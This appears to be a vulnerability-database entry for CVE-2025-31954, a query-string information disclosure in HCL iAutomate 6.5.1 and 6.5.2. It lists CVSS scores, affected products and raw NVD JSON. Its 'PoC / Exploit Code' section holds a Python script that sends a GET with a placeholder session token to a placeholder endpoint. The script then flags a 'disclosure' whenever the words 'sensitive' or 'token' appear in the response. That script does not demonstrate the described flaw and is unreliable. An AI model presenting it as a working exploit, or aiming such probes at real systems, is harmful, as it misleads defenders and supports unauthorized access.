Security Vulnerability Report
中文
CVE-2025-31954 CVSS 5.4 MEDIUM

CVE-2025-31954

Published: 2025-11-05 19:15:51
Last Modified: 2025-11-07 18:05:06

Description

HCL iAutomate v6.5.1 and v6.5.2 is susceptible to a sensitive information disclosure. An HTTP GET method is used to process a request and includes sensitive information in the query string of that request. An attacker could potentially access information or resources they were not intended to see.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:dryice_iautomate:6.5.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:hcltech:dryice_iautomate:6.5.2:*:*:*:*:*:*:* - VULNERABLE
HCL iAutomate v6.5.1
HCL iAutomate v6.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-31954 PoC - HCL iAutomate Sensitive Information Disclosure # Target: HCL iAutomate v6.5.1 / v6.5.2 target_url = "http://target-host/iAutomate/endpoint" # Sensitive data may be exposed in query string parameters payload = { "action": "getUserData", "userId": "admin", "sessionToken": "SENSITIVE_TOKEN_VALUE" } try: # Send GET request with sensitive parameters in query string response = requests.get(target_url, params=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Request URL: {response.url}") print(f"[*] Response Length: {len(response.text)}") # Check if sensitive information is reflected or returned if "sensitive" in response.text.lower() or "token" in response.text.lower(): print("[!] Potential sensitive information disclosure detected") print(f"[*] Response snippet: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31954", "sourceIdentifier": "[email protected]", "published": "2025-11-05T19:15:51.010", "lastModified": "2025-11-07T18:05:06.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL iAutomate v6.5.1 and v6.5.2 is susceptible to a sensitive information disclosure. An HTTP GET method is used to process a request and includes sensitive information in the query string of that request. An attacker could potentially access information or resources they were not intended to see."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-598"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:dryice_iautomate:6.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "44673058-EA8C-479D-9913-453FA6B5C110"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:dryice_iautomate:6.5.2:*:*:*:*:*:*:*", "matchCriteriaId": "AAB9E02F-8C2B-4BD5-A505-903CFFF5D811"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0125011", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}